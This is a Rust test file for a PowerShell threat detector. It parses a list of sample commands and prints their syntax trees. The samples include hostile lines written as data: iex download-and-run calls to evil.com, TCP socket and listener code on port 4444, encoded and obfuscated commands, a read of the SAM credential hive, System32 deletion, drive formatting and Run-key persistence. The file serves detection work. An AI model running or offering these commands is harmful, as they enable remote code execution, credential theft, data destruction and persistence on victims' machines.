#![cfg(test)]
use std::collections::HashMap;
use super::*;
use crate::security::detect::{DetectResult, ShellContext, Severity};
fn get_detector() -> PowerShellDetector {
let ctx = ShellContext::new("powershell", HashMap::new(), 100);
PowerShellDetector::new(ctx, 4096)
}
macro_rules! assert_hit {
(@impl $detector:expr, $payload:expr, $append_enter:expr, $rule:expr, $expected_severity:expr) => {{
let payload_str = $payload.to_string();
let res = $detector.detect(payload_str.clone(), false, $append_enter).await;
println!("{:#?}", res);
match res {
DetectResult::ThreatDetected(ref hits) => {
let expected_meta = $rule.meta();
match hits.iter().find(|x| x.rule_meta == *expected_meta) {
Some(hit) => {
let expected_sev: Option<Severity> = $expected_severity;
if let Some(expected) = expected_sev {
if hit.final_severity != expected {
panic!(
"Payload {:?} triggered rule {:?}, but expected severity {:?}, got {:?}",
payload_str, expected_meta.name, expected, hit.final_severity
);
}
}
}
None => {
panic!(
"Payload {:?} did not trigger rule: expected {:?}",
payload_str, expected_meta.name
);
}
}
}
_ => panic!(
"Payload {:?} expected ThreatDetected with rule {:?}, but got {:?}",
payload_str,
$rule.meta().name,
res
),
}
}};
($detector:expr, $payload:expr, $rule:expr) => {
assert_hit!(@impl $detector, $payload, true, $rule, None)
};
($detector:expr, $payload:expr, $rule:expr, severity: $severity:expr) => {
assert_hit!(@impl $detector, $payload, true, $rule, Some($severity))
};
($detector:expr, $payload:expr, $append_enter:expr, $rule:expr, severity: $severity:expr) => {
assert_hit!(@impl $detector, $payload, $append_enter, $rule, Some($severity))
};
}
#[tokio::test]
async fn probe_ast_shapes() {
use tree_sitter::{Parser, StreamingIterator};
let mut parser = Parser::new();
parser
.set_language(&ast::language())
.expect("load powershell grammar");
let samples: &[&str] = &[
"iex (New-Object Net.WebClient).DownloadString('http://evil.com/a.ps1')\n",
"[Convert]::FromBase64String('SGVsbG8=')\n",
"$client = New-Object Net.Sockets.TCPClient('1.2.3.4', 4444)\n",
"Remove-Item -Recurse -Force C:\\Windows\\System32\n",
"Get-Content C:\\Windows\\System32\\config\\SAM\n",
"echo 'hi' | iex\n",
"& (gcma iex) 'cmd'\n",
"pwsh -EncodedCommand SQBFAFgA\n",
"Set-Content -Path '$env:APPDATA\\x.ps1' -Value 'y'\n",
"cmd /c 'rmdir /s /q C:\\'\n",
"Start-Process powershell -ArgumentList '-enc SQBFAFgA'\n",
"IEX('{0}{1}' -f 'Invoke-','Expression')\n",
"$x = 'Hello $env:USERPROFILE $(Get-Location)'\n",
"[Net.Sockets.TcpListener]::new([Net.IPAddress]::Any, 4444)\n",
"Format-Volume -DriveLetter C -Confirm:$false\n",
"New-ItemProperty -Path 'HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run' -Name 'x' -Value 'cmd.exe'\n",
"Get-Content C:\\Windows\\\n",
"if ($true) {\n",
"Get-Content C:\\Windows\n",
"(iwr http://evil.com/x.ps1).Content | iex\n",
"'foo' | iex\n",
"$stream = $client.GetStream()\n",
"$stream.CopyTo($stdout)\n",
];
for sample in samples {
let tree = parser.parse(sample, None).unwrap();
println!("=== input: {sample:?}");
println!(
"has_error={}",
tree.root_node().has_error()
);
print_tree(&tree.root_node(), sample.as_bytes(), 0);
println!();
}
}
fn print_tree(node: &tree_sitter::Node, source: &[u8], indent: usize) {
let text = node.utf8_text(source).unwrap_or("");
println!(
"{:indent$}{} [{}..{}]: {:?}",
"",
node.kind(),
node.start_byte(),
node.end_byte(),
text,
indent = indent * 2
);
let mut cursor = node.walk();
for child in node.children(&mut cursor) {
print_tree(&child, source, indent + 1);
}
}